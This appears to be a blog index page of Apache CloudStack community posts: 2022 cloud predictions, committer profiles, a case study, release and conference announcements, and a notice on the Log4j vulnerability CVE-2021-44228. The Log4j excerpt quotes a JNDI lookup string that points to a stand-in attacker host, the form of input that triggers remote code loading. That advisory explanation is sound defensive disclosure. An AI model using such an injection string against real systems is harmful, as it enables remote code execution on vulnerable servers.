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Cloud/IaaS Predictions

It's the beginning of the new year, and here the Apache CloudStack community shares its predictions about the state of open-source technology and the future of Cloud/IaaS. While some well-established trends (such as the migration to hybrid cloud environments and containerization) will continue in 2022, the potential for disruption caused by the ongoing pandemic will drive IT to accelerated change and improvement.

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The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!

Meet David Jumani - a Software Engineer and a Committer to the Apache CloudStack Project. David studied Computer Science and Engineering, and after graduation, he worked at some of the biggest virtualization and networking companies (such as VMware, Cisco and General Electric) developing cloud and on-premise applications, such as an incident co-relation engine (from which relationships can be drawn from monitoring events). He is based in India, was a national rugby player, dislikes coffee and enjoys trekking and going on long rides.

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The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!

Meet Pearl Dsilva – one of the CloudStack Committers. Learn more about her!

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On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228.

CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter.

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The French specialist in web hosting, dedicated servers, and cloud computing IKOULA announced a joint case study with the leading open-source cloud management software CloudStack. For the management of their cloud environment, IKOULA decided to choose the open-source way by combining the power of CloudStack with the simplicity of the open-source hypervisor XCP-ng. Тhe turnkey combination was carefully selected following the long-term company strategy to guarantee a constant product evolution, reliability, and simplicity for their customers. As a result, IKOULA is now among the most innovative cloud and managed services providers in Europe, with an extensive portfolio of cloud solutions. Moreover, a large number of customers use their CloudStack-orchestrated infrastructure to deploy memory-oriented and storage-oriented VMs or Kubernetes clusters.

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Apache CloudStack 4.16 is the latest release of the cloud management platform from the Apache Software Foundation and is a result of months of work from the development community. 4.16 is an LTS (Long Term Support) release so will be maintained for a period of 18 months after release.

The Apache Software Foundation Announces Apache® CloudStack® v4.16

"In the past years, CloudStack has been proving a mature and easy-to-use platform. The released 4.16.0.0 LTS adds new features, enhancements, and bug fixes that will help tech-savy companies stay up to date." said Gabriel Brascher, Vice President of Apache CloudStack.

Ivet Petrova
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For a 9th year in a row, the global Apache CloudStack community is organising its major event - CloudStack Collaboration Conference, running from November 8 to November 12. Due to the pandemic, the event will happen entirely virtually. With this move, the Apache CloudStack community will enable even more members and people interested in the technology to learn more about it, its latest capabilities and integrations.

Apache CloudStack, proven as one of the most scalable, free, and open source cloud computing operating system for large scale private, public, and hybrid clouds, today announced the availability of the latest release of Apache CloudMonkey v6.2.0, the latest version of the turnkey enterprise Cloud orchestration platform's command line interface tool.